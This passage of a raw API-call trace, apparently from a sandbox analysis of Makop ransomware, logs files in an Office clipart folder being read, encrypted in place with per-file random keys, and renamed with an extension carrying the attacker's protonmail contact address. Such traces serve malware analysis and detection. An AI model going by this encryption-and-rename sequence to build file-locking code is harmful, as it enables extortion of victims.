returned 1 [0151.172] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x18a0, dwBufLen=0x18a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x18a0) returned 1 [0151.172] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.172] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x18a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x18a0, lpOverlapped=0x0) returned 1 [0151.172] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.172] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1974, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.172] SetEndOfFile (hFile=0xf0) returned 1 [0151.179] GetProcessHeap () returned 0x48a0000 [0151.179] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0151.179] GetProcessHeap () returned 0x48a0000 [0151.179] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0151.179] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00910_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0151.179] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00910_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00910_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00910_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00910_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0151.181] CloseHandle (hObject=0xf0) returned 1 [0151.181] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x29f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00911_.WMF", cAlternateFileName="")) returned 1 [0151.182] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00911_.WMF") returned 63 [0151.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00911_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00911_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0151.183] GetProcessHeap () returned 0x48a0000 [0151.183] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0151.184] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0151.184] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0151.184] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0151.199] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.199] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.199] GetProcessHeap () returned 0x48a0000 [0151.199] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0151.200] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0151.200] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.200] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0151.200] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0151.200] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0151.200] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0151.200] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0151.201] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0151.201] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.201] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.201] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.201] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x29f8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x29f8, lpOverlapped=0x0) returned 1 [0151.203] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2a00, dwBufLen=0x2a00 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2a00) returned 1 [0151.203] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.203] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2a00, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2a00, lpOverlapped=0x0) returned 1 [0151.204] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.204] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2ad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.204] SetEndOfFile (hFile=0xf0) returned 1 [0151.210] GetProcessHeap () returned 0x48a0000 [0151.211] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0151.211] GetProcessHeap () returned 0x48a0000 [0151.211] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0151.211] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00911_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0151.211] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00911_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00911_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00911_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00911_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0151.213] CloseHandle (hObject=0xf0) returned 1 [0151.214] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x28b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00913_.WMF", cAlternateFileName="")) returned 1 [0151.214] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00913_.WMF") returned 63 [0151.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00913_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00913_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0151.216] GetProcessHeap () returned 0x48a0000 [0151.216] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0151.216] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0151.216] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0151.216] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0151.221] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.221] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.221] GetProcessHeap () returned 0x48a0000 [0151.221] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0151.221] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0151.221] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.221] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0151.221] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0151.221] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0151.222] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0151.222] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0151.222] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0151.222] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.222] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.222] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.222] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x28b4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x28b4, lpOverlapped=0x0) returned 1 [0151.227] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x28c0, dwBufLen=0x28c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x28c0) returned 1 [0151.228] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.228] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x28c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x28c0, lpOverlapped=0x0) returned 1 [0151.228] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.228] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2994, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.228] SetEndOfFile (hFile=0xf0) returned 1 [0151.235] GetProcessHeap () returned 0x48a0000 [0151.235] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0151.235] GetProcessHeap () returned 0x48a0000 [0151.235] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0151.235] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00913_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0151.235] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00913_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00913_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00913_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00913_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0151.237] CloseHandle (hObject=0xf0) returned 1 [0151.237] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00914_.WMF", cAlternateFileName="")) returned 1 [0151.237] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00914_.WMF") returned 63 [0151.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00914_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0151.239] GetProcessHeap () returned 0x48a0000 [0151.239] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0151.240] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0151.240] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0151.240] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0151.244] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.245] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.245] GetProcessHeap () returned 0x48a0000 [0151.245] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0151.245] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0151.245] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.245] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0151.245] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0151.245] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0151.245] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0151.245] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0151.246] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0151.246] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.246] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.246] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.246] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1b0c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1b0c, lpOverlapped=0x0) returned 1 [0151.259] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1b10, dwBufLen=0x1b10 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1b10) returned 1 [0151.259] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.260] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1b10, lpOverlapped=0x0) returned 1 [0151.260] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.260] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1be4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.260] SetEndOfFile (hFile=0xf0) returned 1 [0151.267] GetProcessHeap () returned 0x48a0000 [0151.267] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0151.267] GetProcessHeap () returned 0x48a0000 [0151.267] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0151.267] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00914_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0151.267] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00914_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00914_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00914_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0151.269] CloseHandle (hObject=0xf0) returned 1 [0151.269] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1bf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00915_.WMF", cAlternateFileName="")) returned 1 [0151.269] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00915_.WMF") returned 63 [0151.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00915_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0151.271] GetProcessHeap () returned 0x48a0000 [0151.271] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0151.271] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0151.271] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0151.271] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0151.275] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.275] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.275] GetProcessHeap () returned 0x48a0000 [0151.275] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0151.276] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0151.276] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.276] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0151.276] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0151.276] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0151.276] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0151.276] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0151.277] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, 